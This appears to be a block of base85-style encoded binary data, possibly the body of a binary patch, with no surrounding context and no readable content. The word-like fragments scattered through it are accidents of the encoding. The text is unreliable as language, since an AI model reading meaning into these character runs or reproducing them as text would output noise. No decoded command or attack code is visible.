z|HPZz9+UP|G4t@QjKPk_ydu9zIOKcoUAPy0Sdph0csfG9H~Hq*Z{mE6@AhlNJ5Vq4 zAF@$Xe+dS}H)MRm$79499Ab>ug@Z|HH-y7OQcp-mjPpDnEM?v7)v-Hl+8xvrV17O% z@vm7m;{0Ei5aOFU-Zg;bsCKfM3zx@ys9dqM=uzF#+)(5p&;RLbS?p z1s&3!3JA0BM{SUL9{9tonGaZ4s!6@!kd^%bu8cj>l54pO^Z!CuR~6!cCuW*HZYKWo zydBCa}&ZD)VfrB+f6j7>E|PA89di!;BZc6N7X}^^ccCjL#p&c0tZ>b#AsoufOZ_NKsW|eB==IfOK@tfA#NO z`$kd8%WWT|KYyeB&Y~MRFA)1!cLf9YZ>oH>WS|iEQ*QWQe*5hcfB*e*wKVpne&@)u zHTrLN@AZnBm=1X^n!EGzPwbAIDQnHd2YwNG-qWle9r(G|A~Ln#8t8h%B5KtyeeiR) zCmSpKQvVH|M$z+DePDMay8Ol)>j#bwY_3+@iTk7V@sAn*TX3D#N&nwt)$7a04=?Rp z)t52m_a8gVK22ONm5q;Oi0h`NnK=D$%FF%^%JX3~6q9&fw5XKxF$+bAe7G479Uix2 zgoo?1yt-cU1Ks0+e+G6yt3KEWJnOlJSS9@Z`A`UX-|I`X0@CVDuFbs8<zok8ugkjcGG`=yaDMy;CquV zE?ki_WZsl8`}th@Wimj$$=6P?~4TfC2=+$8;-4#-cb|9f4|t%B^6e$ zOWFnd{ZbzY2)B>N;+$in)F*6azOxrundG}xZ?Vqtm198e^kCAaIRyQXS*%O`Ula60 zazDjZ<~xk%LW=Y&7zz3juZ*?S4#vs%4sP8WpuL)SO=P%UpRKv16VJoZCB=|qu@cMX z1m&67*?_zs*rh_0kSY+6yzb7n(dvWfXCtBqO3>%(bZ=K_0de0gYzoJ}Blx-Gb2{wi z^bvH%g5KU_bXw1pKU%rqgBPltt@9QXLm&9be_59A59k`&D1H^Y(*N%$!^sP${nYm> zmz_U`{2Vn_a^l$GJ8vvZJREy5;2fzrP#k+HP#X(nT>VP}h0Zwq_jQ^_NE=) z9=^2q1ucH&zCs=kM>Y5d?QhIR3kvwVZp`DCK6r62{E^>&sefr_TcCR%wkv0 zFM83Ihp0frtBfA~7Wl)Dnsd+X-iz&K;*Oa(_`tk*3-)pSG&$mNuCMC)`by3p+KxjH z+TW`e7w5AstGg_6_>9*NxT-^aTtB`AwPEo@8EM&VGICxz`m){PXc};X&nS-IJtOyTgB{; z?#BP$d1g@U!SU5u#^1qzl#?qZ%|E*O?AVpD*L_w0!sCUmC7nF>b+}*Pa}pxi!}o07 z8(dAgJNUDOq_g3LOYXsUQMU(tJWeN_3nk86t zMSO1&2>)36F^<0~{T;pzpI_n_nIF8qFJ}z%y&U!q?6cm^{R5>uWrt+*pUdLZUlWh`~?Mkk9Z>7 zd^hH)v8JLHc_gO~zL#xoJiR~WvDIT$?LT38CqB3e`0m4gJoE=FJ01>E?w^lF!t@i^ zTI+M{OIr~uf?ofXlijfE7_WQzd5?$kzW0t-tn_R21j1p;ak%fK-yUX@_nfizfu}~C zmM1TcuJU(>^pX#bdXxIdp+{12?I(9K5BCG=`$c!BH%WaTdiTJl%D=qcHL$c(7m1oL z^#k9C&y63hYt?Jj*zQPOYlS+s9LJhERcaYO{Bt+b{w;q8+|C+nme7Bvu6fn+Qva7e zn0M&V-@8C7e!IQmOCK!lymV>ihc5+g*fsyJ`k(uH|Kow1%J#*I``1RSnm0hXzxJ^z zHGjaqSHvCFkMHezW8_kr`f!U^z-{(c9T~BLv{6S7)N(WX`w04PDvb8Kas$?f!^()-ErHv z1^#{VgNF3wzv8&3&d<)$kD$37<;2Up^j)hWCe^m^n4A`xBkhw^eC z=jY5b?;_8&XXw;>t6iigSDsu#nq29!^8fqa40<`f?!+?mqX1uN-y-h=bc(^`-Q#_q zW{sX?^?2%2qXqmmDVBP@tY5IdxMeBFGuU@A!sCa1J0(7&TlYtJ{>lB33Hl3=-wZiQ zxt{e5aC;bq<-iX5MdQ;&5X+UT;;u2}X z<~}9mYCHA+_1L$BanBA>FG#oe%s8kU`a7>j9bA{>6PA1zaq8AsSIPWKt(gC}`|T$F zMRmEveU%;dj#vf}Z#{y~)&ajpys%7J~RUhA+MgtL@17<%{xIAKqO? zdEb<}v295qpZAl`{XtT{2nVEHqlsctWiDS&LElNHVaFFOc=d^+12^m%X{=S(242t_YtqrjA=lN}Xd!U^Myy-O zqh8MVAN6u$*qD|1dUdyMcxfQNzcg=U3+1~-Pn0vhp8#hWkBqr>&=&(gcRRzeh9hsR z?Sy!;jJ>h6vmE(o#CJhpRwW;?h{sj?-a5@0&ukxazo6CM*5Mv=j~}kwumODi%GlL7 z<$vW+eLOxxKR{DsQ}gK)cb(L<*4v5K(nTd9;?43a;|%?S$mfFmM!m=gjgOQ| zf593Q`Vhy;(#0}gQ#}(b;P2I12mG+8>ldPq{GmV--N^GgVzI7*e*qO&nJDlJy(?OT zJ}YO(LPh(!7&n8yEA`NvkM;7%XGvV1pf7lV1maH;YNJ!w(*H@L>`BIVQCix1?43CfC=gixKB6< z)Iq)Hs(dF z`?osCYv2%qUfu@@4$Kd#YwwWp$GW->)EBHyEj)B+KCf5X+ZQuGD&M-$#eGW3?Q4-& zfjX_$Rlq%{%X<&~i>KDC{I2xVE@7WBT<^54AU~#wzi)O8^rb7wy9@H>5$|LEG#J%%Vhnw?_b?n=TIDS`I5#;*a_%8GEr5wLI zRL1=zTQa(rdIYvH7$F}J%F88;AM7Y^@8a|Jbq7kx$M^MiN4Y)=R^KQ6Pog`DuYx!? z)-UUWU|zIbfnPvR^z~Bi!+#N_e2xD2CMVZ7wnge-e!e1(zsmKU4ECA0jzrwVaiGui zH;03Bae1Eud;)p6zG~#hA%9W09TN94J`dbD1oCGfSCPQT`{j^uKz{OM-xbMEQrXBZ z{=X0T3ZxM*9FF%~@`}V~Up5EyApRFkLW_j{kdEfaKTcgpFZUj=!Nv zdty(im-AzDaa>o&UUezJcXrG*+KTx>zX5qZJJu$=n0NRMyg`M(_b#CxfVgJs5=o!O zzKD{~IITJ<#Ofd9y_C0#C?@VZx=Q4IN8*{S#QpbCk4`z|*>s^vuG5*OW|_sj8n|JvhI%)X4-oe_C5?(?{%XhXeT-M@pB6W_ceQ8YmL~W!>Gq zkb6UW5GSMGekAV5F<+o*CXuLs9e*GiTFvX*6rs@1)zx0tPCrBe%4}{!K7dvlMcfQ} z1L{=yUF&nhQOPH|;WvQ3??z#f)Tfo?E0njwqivRWOU>2Oh9@Mx5+TY@_PYy5o6=t! zPlOUu&kY9?@GCQa-^`B<2ABsZaWBtfx`Hx47X>{M=d!*B`apB$$!E4su$ z3w{nrkKQM+Rj)ntmqM37}1P3D=K-d=loZwfB}3kWZ-lN(=5m+;jLzBXT#6zw^d2 z>@Q!P){EC|X1(ymx0aU@@4NS#`3u^dUJo^2;-36S_IJbndBif2=zYDGA#K6eJuM|B|lMnaee%kXb%8; z!{jfwr6oU!FGn4q8dEKMK9jUy?tB66+pnr^mgnSk6`nUyU!b;^G5&V?Qe#cc{@7h7 zkDTA0rXODXaw0?d|MYN+F%6ufO2ADj-u7*2q&Zzw6|@!0a~aTXFZ(GEWG}4~Vl&9|=bl*ag!kX5r72en0!-a>n;IRMp9RW1qN9 z@VxrAg1!^!BP)bbNV{WSG?1Wwa7UGpc69icCrh}_JM7GhLw}-(A>-%4NXFEkg;{4C z$wnmJ0dL6%lHo{5;x%H%`F8>T#4WhmGw3K?a z+VPO2byaIAkK1>YcQ7weZC|@y;BDw(qbb4njF^M<1Zf z*wTUmD}Rsp-TG_$j7d3;BFo1%GtmtLHjnjK$5dEY+npOAV61TU!u2Z`iA*Km)x!2e&k|8xA{ zf7W^C-!|u-Zh^gjdOZ>{iOba9f_(PVQ?Xwg`=+(X`V1V;hEcbPiVTBs=(|oE%{k;> zqyMtsC-wO{yW2PC=Qr*GUsxy{PxJo*`;$>Wm_pxE_UV~|-=F$H#k284JBPl8`u05F zeAVegd6tF5eMx(}+K4*A>T0tty?x)lS?UMw9UUe79r(M8>%6X`%PsR;kl@1g7Yg?z zxn3igptS1~;iQzeiJ++mWP+yLN4XE=+SlM8NQAgP!=X8QAB^6_Gw=^S;D*0Q%DZdw znGC|jxm@SCT;g2Z-*JPrQgi&@AA{0$mERe^mn-J zSNgc_ZC*1Tz&>Z>6G%I@^EtOx?N~4QhpN6Vao^59WEs>I>KWoKk?50rqz?^9IDY{+ z66N`57WNkMA#|I>74R&upAPew_ei~F^}tHbdoYX&FuX6+1Npw;CA!Nz*5Z@*W^CWivrWHr=wBa-Ki?%ndlDU-jkWmaXotC@eJgB?5mhRuDdkekM>`z zH&n`T#y*Qi?nynHrhY5GPd14BX84O*qWejEBcW2-6Q24?hs3$p%)?i7`0wWYjPg7N z#yY$Z97zAO@c94zx#4N(37dM7vfo$v|I__w*BeH*k9qlPLdyco0|=D{WPVjy$@L|i z->}V$w_t-P=}&G>ynB>=KAIf$jl_B7_n+8FJHX%N>yUcFQsIz#0{92{2>P}bR`Yuq ztdm85v5>hBL{qjoNqfHWpvO`%bau$=_O~-0I10N?*89!&%D6w$3O3U&Sdi!OFfON* z24x%)%gD`jxMsju#dVm9Y?XF78cn6-y4;n7TmwG{CL|vS&*|NWYlS(E0Q7gRQ{cGN zT(8Tll7@?+KX5&Z<8u9?514s8+D1GlUSa(n>TzuaQjUA?$g}eJ8))!Fs_3n+NSr_1 zG3O7n9^&ys?T^(FmsNFDRde$AA>#X+mP3blzOJgSi^qrWUHG5*f2jX5?&ib?mH6FJ z_d4GzfWQ}V33bBF_n4gx$@hsY6B_U1uI>Q7SEmO4+roS0ecN}yuP5yY4}b3pCZwOj zk(!>BeLHlqTKY+ojNZY|(Og?W{))DfRVJVHNqqw0em8&LiwTtTkude0gvLI8*mu-r z!@NP>+kRQhV;c+&;@jfPw{f46fG_x`xK|3KzXIxf4dr({UQUd;g&C|9QOJi+z7APoc5^{k5D9>hCbG%jam9N$q0p*gkCV`a{1$ zKfY5aqbQxkMDoy2gA|M^CO!keoy^=Q)6Qz`+L0Y ze|-z(yw_gkka~S@X(97Nw~gz@>!;o*<%DTJihF>kEWTUo2>C;Ertvw( z^K+SiChY=$3GxQfFHrZuzlXjM`OEJOTFm=Hp>E}Q>f59tEZA%L zZrAKs9@9?Y|HW}H)+ypsd8Yo|QS}b|*;u#UqZ04m@G6jJ^kXS|NNt!P{$GQDmUu3& z+e!MD>+MpW9+mr2<9?t#U$tWc_V0$ge@OkqzTQ&*MxG$&)A6<_koZLXJnug`H!jFA zS*NJlZ(A#$14lc@iEl40wMX=@jz2?IcdY z51uow^7^gGob*T9jfRcHH~J7roC`baHlbIk?J|GZzAGT{Zh*h=xv5C-38^oEfAT(I z8|#cfH3jt>s8d>MUr&ETFdS@?^4^k<_&NBR-PdsqZ{~hO$!EDPEKa?ixYwVku3#DaR)?DT?Bi!z1&9H%DoL||%g`ZtpnB|Lm@ zIz43*-BaP|;j{yNXF+j4VSUqBfxaHj>Yo}n|JLFRPHjv-1Gzo#I`WUIYKP+*KL5w* zcRtM-j{AQwIXQZ1@chR3=UYE*Xc)fp-gN)3^5&gEoMQbX^z7^Y{r!m7gW?{sYUsde z%^QpmZ-8wjqmY9{08Y0xv#O$ z-(9Cqee?N+wAVu+f9UKO@>U=F-cGKo4nOO}v0rmwSf$_5;x#Jpl+(^c3+f2(I_Ys3 z2RI(|v$9hD*S0)e#rR+#w0b%1{(9sm$#GRy?%=qVq419DZf(b7b*mxqeT&zE-@p%z z1Qz~Z6Yolj&k8>j?NDtAadNy^%j3G)v7^0;zpq>TI`nMT@fCadJ6+iWJi-38X}}Hc zgSsL9&Q<&>@P&C;;sU?9I`%W~vQ~NiDDB#}PFf)#*ssf^kbCF@DDmejmiV-+Abzvl z-$vRe*f$D#YIdv>b%E4lMg~@*-U#|uCQLB!~1(&D{L|zfPe%kx&@f;6;SY8 z=Eu#&>l9(~X}3?|bA6&f@IBj+2TgvFNklUAlfEqS<^Fy8p5!p|5|R;L=BwBrGaO1L z7(YqEzrk@t17@GZiQwnJIqQ|oem_Da`glL65h1A$DTOxT9{9m~LeI~)N!+(roBfW- zx1^qLGx2Nn0C2$l=IYbTBN@``2Xn|5A9_FGa8v$hUdLLVj|P^auffN#>!E)!&ml4v zHNnGgF(Mdg-hO$iMu>^?qlqy6qe1mVQ{g z@8aq=aD8d73T@##6M6G)+_&ARqW(TRDEUNr{lCZSpFb`hb>fHa+=X8m&E*^7pZx8i zOUR@AY@}1ynkt(6jKg|f(Vfr-nuc)Mjo0o&y#Dpos~-^m0VN>o@p`-VNja-LF>c(0 z?-UN3_5AssR-c6z8`Rx5yKL zfB&wZTP&i9xb|e44XNJ`548~A*+{93*G$a@63pk_>P{S_U!pM+4w4@zih^~FKA--w zMf}cS`&dt?+rxPikEWdsn8FUoqAu370~G{rrF=jjjn@?yXbX8))gNA>{dyJg ztKwJr|Kna8@U%L0dEm>3dF*;O-%7r+c(bpX*J;IfNd9q$tu;^T?~7IF=O*5{{zag` zBjsI3Rk=L&X8L#^Ynu+de{DR7fFyAgN$x_N5B&*urDWdTYGd9);whR$MgroC{{*{) z?+5lH`CHxEcch=L&1>2n+Ba;-Q$xG~i8_o22(i;oyu)3g@cq!us7j9CWqX(Np<{my zDd&X)^0a5jdVJ<8^QGK&hjwLba40Ww)6I+%h7_T2T)ok^WW8cfGSwpGexF<7zbBHF zbYgc7dB-r>9^lm>Zc|1llJz{h;tnQJyQ7jB<=+m#5MokoSodhJ^jTOkjM4sfOqG} zqZOAX9HSf5*`|kHcZ@>(FSwMQ|8{Ju_dcHg>}8wl(!{#aWqM=z!ii3gWu&RrF?zvc zDcu)~pPfw9*>~#X2dQMPdBLdHh5G)Qw$Z~oYtHN|{oxn8kHx0C3w}5m7@aD#WPS*F z?R0K(T*mR5n5wRtzIl@S_fT(Go-(GO4NP0|0+8S23j+A1T~PtOgL;I+Y4Qob%{*^R z{nSW(itVbHhowi2sVyH{H8%1#t$y z*bJ#w8Vmrh*asw0!DEY_G>B7YIGbZ1FFynjzQEyp+_<&pR|3TyjFkg7hfje(x zT&^kGR!Y6Sw#Dr4(qP18eSfUQ$n<~@7(ua=e!ccCKm4@F|8+Yy^E|eZN1O-sLN^r@ z@Hn(9u&fF9=?w*zbKN0-UfK_<;J=l4*NQc+dz9}<+%SH_^9R8Pc;4CoYHi=%>UJk&AJI+whyy+Wh|78 z$ULe(_vey-rQGa4o*7#P`dodX6WS4y|rVts3*ApB1kUL9r*rxIj@K6bw)BxYYcAvQ^i~2as*SKC8Gc zu&m7uegD+Tc?+3$ybTIF@$N-jofPfdq@N#lm9+EG7oys<)7!hYr++Ys{>V-4>4!&0 z8f#+2cl#pE`|8B}w{<5Rh94b%?RP&ZD!X|y{_C>B=YRO>#D({qan$2{a(JhX{Sk`Z zf1ojrjZh!*KhU^55(<`p4-~W+YRTYc=SZ^=y?OG2M@3)$nh!8OPup}8QKDMEpYz_{k3vZr1G}U$}I+%;W1WQ@2U`PV_W@pPL0C(gYG z70Cxmk+;EP4ZtVv5w>?zo}c>eN*PbTwW?0~&pUS1?VumLO08?BJ&rco!1-I)ztQ9a z^I?dYaWXUC6~ps!U0cyun>62M%C|hLC13jGs@fOxxv%J^eU82xQB%&F{>ao=Uy67S zrvlKMp}z~CPmUje=kJ10R7i!i$#R;&X@>ys<=p&Fs-V^8q5Xt8X^l35iZh^i;+*>WwdoZ1lyR7ez@8LMS2;9-X z7~hkaq~8{YIX>S9eUSD%-1nGI`0>El<$ZlQvV!2JYkTf1bT)!t=-AGy;uptSU7n^|^}^20 z&ZnT4UwE(6b!$;k(ZX|Ud#+pX@~k6qc&EjdRkuzQy`7g+rzS_^AC64jS#ar7$7o^R z#Q85KVNWQAO1lE}xsp0Dp5J`&@TldCYMhyB8|6Nr?&()2EQ%ldg;!1IEhsA@pF^4u z^oM80egc8TW6FJ8<1&gnZB6w2=& z$>oOcL7tCiQxo!zP$yi#eI_9Hm4bPcSMU!x7zgf+78Y=wKCzp1BG3m#aDw=OxR>=} zNCPy8ccjt#NFB)Ilhj{rmw9csuCJngjOD$>q&~zAktZu&wv#H*XXLTsg)d|y4Mv`gdx7Aw*Ma;MP`_g88Q3<{YwE!c@FB?gaC3_Kb28ct6x^MH`%&Yu5gnI# zgHQNH@K4q^^6V)`y~TwR@6NgU8tmgE^?S&xgc+}^s^j{%xy*e!Z7x?_;vIF1yni^G zmT@|i@j<`YIpmFJkR6RY?WUFn+INRnI2Uq0ogN+gxMH8~?!-;>qv$T-;C--km$C*fbG{!{%AGG_Mf(O>I)KaUC591vDAIKt3|>gK=x5cwap{9Zn&fdkXhS?iWER-xW=>QNPdq zXm~rXLwF}SGrcR7OBwK=RHs%hJdFA%`1$G`)iRH_=Z|p)DgQO(7aF%-#CV^2H2u;i zP{%74PS`*B-JAC<`oZLa(b;IU^ybOkXY-sRm0F_T^HgJPh5f@$&(xduEjW7Y!h4tQ z-<0TdUH`scEG;4Kv9FlF)77cp|1Y;Zc=)w<4i$qB{Nh;udqoQZ+b0J5^*r?H`Ngr# zuX%DU!{iU^=07mMwXqXX3^=GkF`U*S@QXm|e1T)I)zuOU6)c>%@LCLc!Q?~RB6*e{ zOb(2yf&5nb^HgEUmo#ZHk5g88ye((Jb(5nN*e{KGOKtAz%vYy>Ia+k*zJ0^s2y52d zN53QN1fNsd2Um%E*bnH)B^$Umm`m4#?u*6wjZf4BnsRml8am&dA;50olB z5z3=HB_;g`-b70+{Q%IT(v_9{qd|eTQQGqt!DpDwB>|6!ErI| zeo)9Yi8r+!aX74RE9E@oFzVXmF%}T1%cJ3U)UU(Rj?d=I{v0n08{!n0#}2=YmqClh z^Qpg@{6Yw?lw*q52L6Y90Ptfz7k=44*d69`tQZgFJL8IczUkL*b?FlKgPCdgW$=9D zrxDM4Mbjhv9(1RZk1iJMpNhUMwtVnY@X`A{^~BxzDYIW1_#pIh==Bpq#z$d4WB%9& zz%BiY9m0Wn1n4C}A^i_;bX3WFg{p^CY44*B$nV8kHPTbyjxv*nEB1Q%PVF7 zQfN26!Q|cJKTf5x)$AXPJ~4bB=<}F|E6D)(6^}g#un^B+<5`J+Tu1pn3xl5j_liV@ zq9=JDbOEcf$RD2{U4;pamIwxVA@ z|5|rJo^TBIA1zI&sy5nx$fBr_`=FsT=!JupjKSmgEXJ_f@7X#5{9FFliO!uCAoO*QoQqkc`HKk@5jH!cVx{!p~<%~*IkJ>|5ul{^YNVcw!e zcV?4s(mv3>mfCJO@P~}Ygmco*?!CWCo>i(mJ>LpgNssWp4a2PS+% z<2nU@aL_Io?op6m(uh2+z|v~mcNY0UeBQq90$JA*aA_LX=gf>_lC*DE(u{v0fG_oG z#C5q&ASR^T7K+Eg^} z_1K^$T$J~UPn7WgRw~GNej+>#zg^E*Jdlui^{A7>zGc`Sz_l6n2J-zQb9yoq0OBH` z73WcYz77WhpU>y~k($qy_s@4q+~--H`P5&~zX-p_emdTaT=yAc2&h25&ldO7QlHk7 zNzS`VRKmW8p9b<+&Z}3epFy93XvkMW+@o*ZQr-u7K><>j*O*WE@&x%J{At!a2xY)~hD(ot)_&CR(?|KD%hw)Fv$M;an*SAM71ES3V|0nc{kwhOU@~yBA*!Rru zV_lQ(^UM1gV1T?Y+#Ql49Z%u0rrYGPew=*B%rhqbzkq&h@`EU50s2Q@4&Hy{cYC+s zdK^b5Qu6;s3e~#s)0CTa!r1;PA?3YSD6Hdkdg?FSlO7noAN_iyzaF@ka`o01ez{_D z=`p8gre)plFA(>!bszQXE!ii2xb9~cJnijwc75aA{I?%PS=;q*zxbj1->My*deQrN z|NT0Ne_vg@N?f}|M;$5hu-%f{g`L#r?vTg6jt+UOcGSsZwa#sqd}8e_H}g82?;vg8 z(%~cZyL}G+KX3i~o2fTg7TALWq)m6WF>%{f%mn~>ZZOs<- z#6@P?z5{fcVs>%)3TEGpWD*EIeUnJkMTo`)y~j z?%+nT(@ww1vf>c?^qg8_%(9PP?Y52TLE!xRzD$UI0@TOI`kwRA5d4JjQ|X!ycpvfw z6hVGr1X8Og$39ygSjKTIM?m)hhcIz8CkyG--aTlDMyl z4&*%yS&l1#xP_GOC_Er#eGJz-qFKN-{ZOXg!GUcucwd)GcSxK&T^I-bg!CV9Tuz0! za#~%uFZ_2_;sSCSjkd^Nya_Wtzdvi3dcDvzKF__S3Vld=hVq@izs&FSY)kDn;vHpw z#q77#k=U(J-doWZ{T|?cJ36s(d?>e7IX{f=%euSubM-#AuCL>HEI)^wZv-MilTaU| zJ!15s=SCEg)M@SenJHUz$yT!0OT`CiZ;f|TPekmDv^ z&3+8UiV!@1bR81Q;U=-!^`>J-fJU(5SNn8zdKe(nk)r0&grH{*caNa*7A0kI4? zziqr!X$MzrSF(Ty-HKVbld1tHD^@n$JiHRY7I%b^PqY&aSeOMGqgp;Hhb@elC9Of~R}=jf;-{x>K)d zey+Ozc8q?#6S;z*@3p>WhhAUw;q$MZnKiTv@3p!*s)Um`zWIT*w-Ucw+&-xv z-2A{TxAXji^Z()jo_G80k}n7VpLPZOLVk&NA?(l>=q6CCmDhiW`Bm+|Zgp)`WBUA_ z&5cGnV0r079ve>ku~rw%e{iP<8bwH0)(u|pycO$R4u9iEWkqEL^c&uJU)hZt(^b>w zr*1^O064*-Kl%YUe@z*4Klo%O8RoiqqGJeE$=@Qk|lv7iv&)|JyDYqbPnBIjr4|WV5 zkL)2o`L}o8spIiP`157d9~Z4jt>HRbqL_NU?G+OriLgj;9R{I5@c&`K_&EC44SYC{ z?*XwUJ~$`pSI*P5uF#gVCDz zHTPLaB(o;Ia#`7j$M4pJtYgy5J|9pVHQLRWJ0~ZI_k&4uzdmEQLdIplKd_%h<>}$s zREYnd#fCm|eAu^-xCsRcpzok>#~6RCl6*y>A7mz}heeotAw8UK;qQ`}Y?9A&z_CNVqTEit zg1k*67;$`UiU$1vy8f zcNzQvdSlab&p{99aluc06!yM~eHY>%_8(MdbqnqPmSosvKX$#p_Uh#ohdo6-HWcVl zZ^&;I>h(PjG)B;Ol>DKp&h6s!A9(OVlP^5@*m~l=!@i@6vqn{KO zmbGs*elyv%d^!Aq_onZmZ?^hH2@^)o}iyK5fy%j_76mK56PPkt-XBl}op zpA=*Kenw^@$nUBN|2xE0Rh19&3bd=r&hwjfhsN)VDwGuEKK8+s>j?2*NrMyI9~1Hd z`abEk^=)&Rc0SZ@uZeG8g6{{r+l>2a`dnWs;pYF*-oZgW(Oy>qJfQE8$Ye>whEdD$ zP+s!A_a?$yc--FJ-o^33-2c3LbCABR7nMOA6Z3Q&F{U8CpP2~ zBhMf&vGBea{C)p4fjok4GmoHP-!(pP&0iwV|w?5+DY15$BW53DGJFAJ8sow5Fet#Wxp2TlZgrxrl@&I`-h=b*l zLF(~W2i`ly>)ytVh_8-jQ z>#xnp^J{jX#JzG2|3WkIpKu`G9Q|bcrksptj9Tg`9uz1_yloN6LE_FK@V@BZ6Ji|$ z@?y8Z;sbsSY;Q{(BX2H1Tsz!bWZVIH27ZpKwV3#zKC4IyxP&?WMCRK5qncOR@xJ|j z^L-t7@3UjRC!cPhy=Aeo{-tur8y-utFQ8Yv@iOJRs-7|ZtOr8#i2H8%i+Nw9#s0y6 zNZc!lx&C^^Ce9Vjv`g^0{?Olq;}1@Zne&Uj2#jO+x0wDwr1ye5a$l0veiL`-6NzMskke>uSJ!dpY>Ba zKl=Gcp2g|ArX7w%{XxXVAG9xiZ0GdWPirnYEnk^la2(qKk2sEZdNPS{{3!5jG#eij zy$^YPwPD3ez~9vD#=^-x7v4iyEYGnAcvLGM{eyn5n|gkye!+!4)E3HT)n4u+AJ9Tm z>cZbV)RTAPKK0V44eb4!9Qn!DY zk9~e_IrXJI?|e*uFzBzaKD45q-M`Lr+1|PEp8dmOt;6IGMn-@BR~L4kZ)q{8FFd&T z^*YiGTONG96Xy+M_KY3=%7W5hFXD(FmiA7?e)C2CaS`g3dQVLThV;blPbzY{b1(dz zMKP2GAWoQ9hE4T^M;})blUrE?<@MR1uoQ zKO9?J$WvQ{=4w|IGDeVx_a!CE5|V>H{dpx{ya~s4da4;uh`7*f_iWEX#?)1 zoEPCIi1!^`^b6fKj(j*djyMc@`JSN6M^SJ60`~pRq4P!qRypMA)V=`6F*_WM@c9Rl zre6>By%N_71U%mddNEcb{AzP`b0WfhzqyW$q$$_M>y-0Q=XK&9>ASGA7$>MgKOV-# z&3)E%hj4Qo=g40`5tgHYNTGg5a$K{cR4QL zL*p^TztlT~!!O9E#9V#8;^Ka%@UOVo2N`(-!p!f>oNd`yjm#kI&nEpG2m?sJrcLug zK11I3qH!MlbnOqdKSVxoId`&|d|~FQ0dHH!5c7P=H|xO2DF^OOcAMYx^{x)u1?v`Q z=J*1p{)Wp7I8KBCyyOdOjGxcS@0&^X@p{p=PQGt483w=S{L+7k>lONik+)IT5&T{H zt7(U>qwlIaeO3^84A8}gT$@qsAXN2Y4^t!Mb$U}Zy z;Ag7HvusSAjHoRZOL*)X5t!4Ks_PgUdgHnI?-vB3Q{V?b(@MLiULL)4Zu#t)+C>)}gDQXs ze(-DdFP$8;AFDNT3Hvd}@jREN^dE{JL)S%U3E&SO4y=S-anu3-EbWSO&xXCAx>}p{ z!rp&v*g(5b_#I#tdFHDbRPeBmFr97uSVAT!pxB z77OU5=M2AKzgp-EwpO{0N1^vt0pFS2oITw#+(J2fyRB93Cl(5ET_Wxnoe1%FLCy4& zW4$I=cap%y-hBUL-;?saWM3d0r;?w`b&A9^^bN@jJ^MNR^VO*>eo?~rH2ZG>?;<1l z4E*^m#JADXAZbHGdYF2>&sUO19L^dcIgVZg%J@D}6#DReQC1`47kl79;P{}<|G|Gg zhjSs%U-PrWq0eKa!6o=!P)Bm4@mve`3r7Fbfk=(icRC!H@17y2vid5&zYx)={2m^U zlkz=eq<~NU-o$Sr%zcJo$H7rSf52~yT{+?&=|ZpGjrpDZtFFM{^xfk|?lR*g$(L<< zKF1LbX$q<7Cz(mQR(SD!XOe-$yD|>>Ec{4(4%7u{kHFlMenj}g4sad<%K{4dy5E<8(v7mq7gf9w?s6azo z=?^rr8S(?T@7n2yQ=-_N`=id+ly1c9esjGaak|*0b6Y-g=4stOxG*`|l2H`c?Sr+s zxCM5@uWO<2Q%@K+5-#$Ev=PZCosHNmv@cZb3eLF|w(;sOS0D;_;al z+6j)d9rL%~Cu030jUXf75Jnp7v8_+KR=WqA>xNh1C z7cDZc>ymt5AOOPOyM?!y=N&uD{&RN(f`Z3eQ0FhNN8!L=>g;E@KlD28U*YTFdHB`k z^E!OyzE`ElHS`smp z2qd$#YpmFLh4=9xQI7o4DiRq!53rZG&%wUsak?d);`8y{6v}sXc69;AITa0nQZAbL zerU%h@ecR`7xX8{Jh(By{tvk4c^uB^$HL?bq7M}BJ;DCK;jz(o6MgbKpw9!pm$oNq zjwhAMaXd-*J>)*Utrq4D4%q_1?yB_Jp;TYATk7M8Pw{@p7lIsyJ#Ivj*S;I?>qZ`c z#C!It5uRQ={uT8H+c*ynq34rdM!LDF?AyT))Q2|Qf)-m-KOAx9Z%<$UNkvWN2=eww3`HQ4_lFbIF%R7?$> zo9{0uol?JfVfTlYyu#S}3zLIat*+S>7Z!ec<{r&JzTZbFo3r^<;N4=0t6R^R`NDDd z`JKY3DDrP^^dyFRX$Snp{omTaI052LN~hj`=;j9=e60V_Vg34BzWk4!uk{})M;-!? zzkTmRUs;Rz#rar6*_SU~e@s>PEyoTdqx<}MmTU9JdAc-HAE#W*HM39b&Y?gM``L`I z8nWi;$P0&E>ZE*zUEt_Izv!Jq!wnlNNR4f3j5HKlzKGx3swq-#TdV~(t_wT*baA~M zU9xJ0)DP`$#09WFS3oJ@^}@Ro_r?BQ;&zP`c0JZ#bt>QHlsG#ODlL?_$A_1=x4QBv z=k0biX3BTP#&v@5d_t~wG^jCYK*|v`>z3==`JO3vu`SZL9RF;e+($GTF#P~i7kNGX zQbM`LKdw=pS71-b`vT9jUrt_LBlV(Wc6g(F56y=CXwD8D65^*)p4N3#5#L5M93V|a z17;rOdDBln8=-$5dPYzq4zM3tu|^8m=aV8VkN?wuXLV7o+tJ4xc~2>@HwWWjVsO9t z{HW2u=lg`&r$cyct(uR9eBheqM#=%? z!xgX|(~f;|NjtW@A=gdA#*JoOki}|a9su0pUG)3(cK1g4djo!3+Pw-CX0DHN(b3U4_kDe@_v^Zk&+HrH zXdOK}OL>g#j52xM@T|wkF=nJb0o>T%b;zNFZ1@GDNu^CMmdeb4h8{2Z>IYFbF!8@t_9 zTS0#C_1iyl6UQx^ZvQ&+>7&(#?6l|N?~HGQf8hroyaWAU+m&yRoBtil+fIJ41%-Ij z4@}q~hkPJ{56B1X?&jh-{lLV!0rVX5({9i-zekRPQTYA)UD@~DuIK+)%FWArnhy2) z3bQ&-zWw5nuKd7c&%nQ;J{?hm&Xej2N7Su1acrH}Bj)m3EDm+9U$+H)i16G9Xq z-|OAx?-R#nyN=^zQi}<`YiMWngx39T@U$Ew|A-^}4ziBat9fi`aR?tkda|4N&&)~7 z6nXDzmAXvRaIc5@UAwAeufuu;W12q^{(dN;MkdJ*6eKiowBk(R9_$>B|(|A5G6-e>9jp}9D=Ky`;Am`ynh@l}f{g2=ad~diX^!ag$e8xUNF4kp6 z)0%R>_;Qr|-h_N(>?>lnOFb{(J}3W`5A}bM`yvMr&o*Yt{Tf@TFJj(>e&BabQ4awB z>C^Ea3-rmc*W*v}ykFJp2?2lPm7-3|?N;gUF{;tT-Wc|sC@Kn$Y3EPdz@K&f;4?RK 